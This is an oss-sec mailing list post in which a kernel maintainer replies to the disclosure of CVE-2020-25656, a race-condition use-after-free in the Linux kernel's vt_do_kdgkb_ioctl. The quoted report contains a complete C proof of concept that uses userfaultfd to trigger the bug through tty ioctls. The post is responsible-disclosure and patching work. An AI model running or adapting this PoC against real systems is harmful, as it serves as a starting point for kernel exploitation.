oss-sec mailing list archives

Re: CVE-2020-25656: Linux kernel concurrency UAF in vt_do_kdgkb_ioctl


From: Jiri Slaby <jirislaby () kernel org>
Date: Fri, 16 Oct 2020 08:58:34 +0200

Cc Greg.

On 16. 10. 20, 5:39, Minh Yuan wrote:
Hi,

We recently discovered a uaf read in vt_do_kdgkb_ioctl from linux kernel
version 3.4 to the latest version (v5.9 for now).

The root cause of this vulnerability is that there exits a race in
KDGKBSENT and KDSKBSENT.

Here are details:
1. use  KDSKBSENT to allocate a lager heap buffer to funcbufptr;
2. use KDGKBSENT to obtain the allocated heap pointer in step1 by
func_table, at the same time, due to KDGKBSENT has no lock, we can use
KDSKBSENT again to allocate a larger buffer than step1, and the old
funcbufptr will be freed. However, we've obtained the heap pointer in
KDGKBSENT, so a uaf read will happen while executing put_user.

Hi,

this is likely the issue I am fixing at:
https://git.kernel.org/pub/scm/linux/kernel/git/jirislaby/linux.git/commit/?h=devel&id=57c85191e788e172a446e34ef77d34473cfb1e8d

I think, it won't apply cleanly as it's a part of a larger set. I will reorder the patch and send something during the day.

Thanks.

I've successfully reproduced this bug in a special way.
However, to write a universal PoC for anyone else to reproduce it,  I use
userfaultfd to handle the order of "free" and "use" in multithreading
environment. This is my PoC:

// author by ziiiro@thu
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <linux/prctl.h>
#include <stdint.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)

#define KDGKBSENT 0x4B48 /* gets one function key string entry */
#define KDSKBSENT 0x4B49 /* sets one function key string entry */

struct kbsentry {
unsigned char kb_func;
unsigned char kb_string[512];
};
int fd;
static int page_size;
static void *fault_handler_thread(void *arg) {
   unsigned long value;
   static struct uffd_msg msg;
   static int fault_cnt = 0;
   long uffd;
   static char *page = NULL;
   struct uffdio_copy uffdio_copy;
   int len, i;
   if (page == NULL) {
     page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
     if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
   }
   uffd = (long)arg;

   for(;;) {
     struct pollfd pollfd;
     pollfd.fd = uffd;
     pollfd.events = POLLIN;
     len = poll(&pollfd, 1, -1);


     read(uffd, &msg, sizeof(msg));
     printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
     printf("    address = 0x%lx\n", msg.arg.pagefault.address);
     switch(fault_cnt) {
         case 0:
             puts("triggered in the first page!");
             break;
         case 1:
             puts("triggered in the seccond page!");
             munmap((void*)0x233000,page_size);
             void *addr = (void*)mmap((void*)0x233000,
                         page_size,
                         PROT_READ | PROT_WRITE,
                         MAP_FIXED | MAP_PRIVATE | MAP_ANON,
                         -1, 0);
             if ((unsigned long)addr != 0x233000)
                 errExit("mmap (0x233000)");
             // register 0x233000 again to trigger put_user
             struct uffdio_register uffdio_register;
             uffdio_register.range.start = (unsigned long)addr;
             uffdio_register.range.len   = page_size;
             uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
             if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
                 errExit("ioctl: UFFDIO_REGITER");
             break;
         case 2:
             puts("triggered in put_user!");
             struct kbsentry *kbs;
             kbs = malloc(sizeof(struct kbsentry));
             kbs->kb_func = 0;

strcpy(kbs->kb_string,"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
bbbbbbbbb");
             // free old funcbufptr
             ioctl(fd,KDSKBSENT,kbs);
             break;

     }
     // return to kernel-land
     uffdio_copy.src = (unsigned long)page;
     uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
~(page_size - 1);
     uffdio_copy.len = page_size;
     uffdio_copy.mode = 0;
     uffdio_copy.copy = 0;
     if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
         errExit("ioctl: UFFDIO_COPY");

     fault_cnt++;

   }
}
// use userfaultfd to handle free->use
void setup_pagefault(void *addr, unsigned size) {
   long uffd;
   pthread_t th;
   struct uffdio_api uffdio_api;
   struct uffdio_register uffdio_register;
   int s;
   // new userfaulfd

   uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   if (uffd == -1) errExit("userfaultfd");
   // enabled uffd object
   uffdio_api.api = UFFD_API;
   uffdio_api.features = 0;
   if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
UFFDIO_API");
   // register memory address
   uffdio_register.range.start = (unsigned long)addr;
   uffdio_register.range.len   = size;
   uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
//UFFDIO_REGISTER_MODE_WP;//
   if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("io=
ctl:
UFFDIO_REGITER");
   // monitor page fault
   s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
   if (s != 0) errExit("pthread_create");
}


int main(int argc, char** argv)
{
         struct kbsentry *kbs;
         pthread_t th;
         page_size = sysconf(_SC_PAGE_SIZE);
         void *addr = (void*)mmap((void*)0x233000,
                             page_size * 2,
                             PROT_READ | PROT_WRITE,
                             MAP_FIXED | MAP_PRIVATE | MAP_ANON,
                             -1, 0);
         if ((unsigned long)addr != 0x233000)
             errExit("mmap (0x233000)");
         setup_pagefault(addr, page_size * 2);
         kbs = malloc(sizeof(struct kbsentry));
         kbs->kb_func = 0;
         fd = open("/dev/tty1", O_RDONLY, 0);

strcpy(kbs->kb_string,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
a");
         // allocate a lager funcbufptr
         ioctl(fd,KDSKBSENT,kbs);
         // use KDGKBSENT to access the new funcbufptr
         ioctl(fd,KDGKBSENT,addr + page_size - 0x20);
         return 1;

}

Make sure set KASAN in config, and to use userfaultfd, CONFIG_USERFAULTFD=y
is also needed. Besides, it needs the privilege to access tty to trigger
this bug.

We've noticed that this bug was also discovered by Syzbot 8 months ago, but
no one has successfully reproduced it (
https://groups.google.com/g/syzkaller-bugs/c/kZsmxkpq3UI/m/J35PFexWBgAJ),
leaving this issue ignored and upatched yet. Hope this PoC can help
someone.

Timeline:
* 10.15.20 - Vulnerability reported to security () kernel org and
linux-distros () vs openwall org.
* 10.15.20 - CVE-2020-25656 assigned.
* 10.16.20 - Vulnerability opened.

Thanks,
Yuan Ming and Bodong Zhao, Tsinghua University



--
js
suse labs


Current thread: